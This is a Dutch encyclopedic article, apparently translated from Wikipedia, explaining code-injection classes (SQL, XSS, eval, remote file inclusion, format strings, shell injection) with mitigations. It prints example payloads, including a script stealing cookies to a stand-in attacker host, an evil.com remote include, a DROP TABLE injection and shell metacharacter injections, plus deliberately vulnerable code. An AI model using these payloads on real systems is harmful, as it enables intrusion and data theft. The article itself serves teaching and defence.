SQL injectieEdit
SQL-injectie maakt gebruik van de syntaxis van SQL om opdrachten te injecteren die een database kunnen lezen of wijzigen, of de betekenis van de oorspronkelijke query kunnen compromitteren.
Bedenk bijvoorbeeld een webpagina met twee velden waarin gebruikers een gebruikersnaam en een wachtwoord kunnen invoeren. De code achter de pagina genereert een SQL-query om het wachtwoord te vergelijken met de lijst met gebruikersnamen:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'
Als deze query rijen oplevert, wordt toegang verleend. Als de kwaadwillende gebruiker echter een geldige gebruikersnaam invoert en een geldige code (password' OR '1'='1
) in het veld Wachtwoord invoert, ziet de resulterende query er als volgt uit:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'
In het bovenstaande voorbeeld wordt aangenomen dat “Wachtwoord” leeg is of een onschadelijke tekenreeks is. “'1'='1'
” zal altijd waar zijn en er zullen veel rijen worden geretourneerd, waardoor toegang mogelijk is.
De techniek kan worden verfijnd om meerdere statements te laten lopen, of zelfs om externe programma’s te laden en uit te voeren.
Van een query met het volgende formaat:
SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '
Als een tegenstander het volgende als invoer heeft:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
wordt de query als volgt geparseerd:
SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
Het resultaat is dat tabel User
uit de database wordt verwijderd. Dit gebeurt omdat het symbool ;
het einde van een opdracht en het begin van een nieuwe opdracht betekent. --
betekent het begin van een commentaar.
Cross-site scriptingEdit
Code injection is het kwaadwillig injecteren of introduceren van code in een applicatie. Sommige webservers hebben een gastenboekscript, dat kleine berichten van gebruikers accepteert, en gewoonlijk berichten ontvangt als:
Very nice site!
Een kwaadwillende kan echter op de hoogte zijn van een code-injectielek in het gastenboek, en een bericht invoeren als:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Als een andere gebruiker de pagina bekijkt, zal de geïnjecteerde code worden uitgevoerd. Deze code kan de aanvaller in staat stellen zich voor te doen als een andere gebruiker. Dezelfde softwarebug kan echter ook per ongeluk worden geactiveerd door een argeloze gebruiker, waardoor de website slechte HTML-code weergeeft.
HotML- en scriptinjectie is een populair onderwerp, dat gewoonlijk wordt aangeduid met “cross-site scripting” of “XSS”. XSS verwijst naar een injectiefout waarbij gebruikersinvoer in een webscript of iets dergelijks in de output-HTML wordt geplaatst, zonder dat wordt gecontroleerd op HTML-code of scripting.
Veel van deze problemen hebben te maken met foutieve aannames over welke invoergegevens mogelijk zijn, of de effecten van speciale gegevens.
Dynamische evaluatie kwetsbaarhedenEdit
Een eval()
injectie kwetsbaarheid treedt op wanneer een aanvaller controle kan krijgen over de gehele of gedeeltelijke invoer string die in een eval()
functioncall wordt ingevoerd.
$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');
Het argument van “eval
” wordt verwerkt als PHP, zodat extra commando’s kunnen worden toegevoegd. Als “arg” bijvoorbeeld is ingesteld op “10; system('/bin/echo uh-oh')
“, wordt extra code uitgevoerd die een programma op de server uitvoert, in dit geval “/bin/echo
“.
Object injectionEdit
PHP staat serialisatie en deserialisatie van hele objecten toe. Als onvertrouwde invoer wordt toegestaan in de deserialisatiefunctie, is het mogelijk om bestaande klassen in het programma te overschrijven en kwaadaardige aanvallen uit te voeren. Een dergelijke aanval op Joomla werd in 2013 gevonden.
Remote file injectionEdit
Overweeg dit PHP-programma (dat een door verzoek gespecificeerd bestand bevat):
<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');
Het voorbeeld zou kunnen worden gelezen als alleen kleur-bestanden zoals blue.php
en red.php
zouden kunnen worden geladen, terwijl aanvallers COLOR=http://evil.com/exploit
zouden kunnen verstrekken waardoor PHP het externe bestand laadt.
Format specifier injectionEdit
Format string bugs komen het meest voor wanneer een programmeur een string met door de gebruiker aangeleverde gegevens wil afdrukken. De programmeur kan per ongeluk printf(buffer)
schrijven in plaats van printf("%s", buffer)
. De eerste versie interpreteert buffer
als een format string, en parseert alle formatteringsinstructies die deze kan bevatten. De tweede versie drukt gewoon een string af op het scherm, zoals de programmeur bedoelde.Beschouw het volgende korte C-programma dat een lokale variabele char array password
heeft die een wachtwoord bevat; het programma vraagt de gebruiker om een integer en een string, en echoot vervolgens de door de gebruiker verschafte string.
char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
Als de gebruikersinvoer is gevuld met een lijst van format specifiers zoals %s%s%s%s%s%s%s%s
, dan zal printf()
beginnen met het lezen van de stack. Uiteindelijk zal een van de %s
format specifiers het adres van password
, dat op de stack staat, benaderen en Password1
naar het scherm printen.
Shell injectionEdit
Shell injection (of command injection) is genoemd naar Unix shells, maar is van toepassing op de meeste systemen die software toestaan om programmatisch een commandoregel uit te voeren. Hier is een voorbeeld van een kwetsbaar tcsh-script:
#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches
Als het bovenstaande is opgeslagen in het uitvoerbare bestand ./check
, zal het shell-commando ./check " 1 ) evil"
proberen het geïnjecteerde shell-commando evil
uit te voeren in plaats van het argument te vergelijken met het constante. Hier is de aangevallen code de code die probeert de parameter te controleren, precies de code die had kunnen proberen de parameter te valideren om zich tegen een aanval te verdedigen.
Elke functie die kan worden gebruikt om een shell-commando samen te stellen en uit te voeren, is een potentieel voertuig voor het lanceren van een shell-injectie-aanval. Hiertoe behoren system()
, StartProcess()
, en System.Diagnostics.Process.Start()
.
Client-server systemen, zoals de interactie tussen webbrowser en webservers, zijn potentieel kwetsbaar voor shell-injectie. Neem het volgende korte PHP-programma dat op een webserver kan worden uitgevoerd om een extern programma genaamd funnytext
uit te voeren om een door de gebruiker verzonden woord te vervangen door een ander woord.
<?phppassthru("/bin/funnytext " . $_GET);
De passthru
in het bovenstaande stelt een shell-opdracht samen die vervolgens door de webserver wordt uitgevoerd. Aangezien een deel van het commando dat het samenstelt afkomstig is van de URL die door de webbrowser is opgegeven, kan de URL kwaadaardige shellcommando’s injecteren. Men kan op verschillende manieren code in dit programma injecteren door misbruik te maken van de syntaxis van verschillende shellfuncties (deze lijst is niet uitputtend):
Shell-feature | USER_INPUT value |
Resulting shell command | Explanation |
---|---|---|---|
Sequentiële uitvoering | ; malicious_command |
/bin/funnytext ; malicious_command |
Uitvoert funnytext , voert vervolgens malicious_command uit. |
Pipelines | | malicious_command |
/bin/funnytext | malicious_command |
Stuurt de uitvoer van funnytext als invoer naar malicious_command . |
Command substitution | `malicious_command` |
/bin/funnytext `malicious_command` |
Stuurt de uitvoer van malicious_command als argumenten naar funnytext . |
Commando substitutie | $(malicious_command) |
/bin/funnytext $(malicious_command) |
Stuurt de uitvoer van malicious_command als argumenten naar funnytext . |
AND list | && malicious_command |
/bin/funnytext && malicious_command |
Uitvoert malicious_command uit als funnytext een exit-status van 0 (succes) retourneert. |
OR list | || malicious_command |
/bin/funnytext || malicious_command |
Uitvoert malicious_command uit als funnytext een uitgangsstatus oplevert die niet nul is (fout). |
Output redirection | > ~/.bashrc |
/bin/funnytext > ~/.bashrc |
Overnietigt de inhoud van het .bashrc -bestand met de uitvoer van funnytext . |
Input redirection | < ~/.bashrc |
/bin/funnytext < ~/.bashrc |
Stuurt de inhoud van het bestand .bashrc als input naar funnytext . |
Sommige talen bieden functies om strings die worden gebruikt om shellopdrachten te construeren, op de juiste wijze te escapen of aan te halen:
- PHP:
escapeshellarg()
enescapeshellcmd()
- Python:
shlex.quote()
Hoewel, dit legt nog steeds de last bij programmeurs om deze functies te kennen/leren kennen en te onthouden om ze te gebruiken telkens als ze shell commando’s gebruiken. Naast het gebruik van deze functies wordt ook aangeraden om de invoer van de gebruiker te valideren of te zuiveren.
Een veiliger alternatief is het gebruik van API’s die externe programma’s direct uitvoeren, in plaats van via een commandoregel, waardoor de mogelijkheid van shell-injectie wordt voorkomen. Deze API’s hebben echter de neiging om verschillende gemakskenmerken van shells niet te ondersteunen, en/of omslachtiger/omslachtiger te zijn in vergelijking met een beknopte shell-syntax.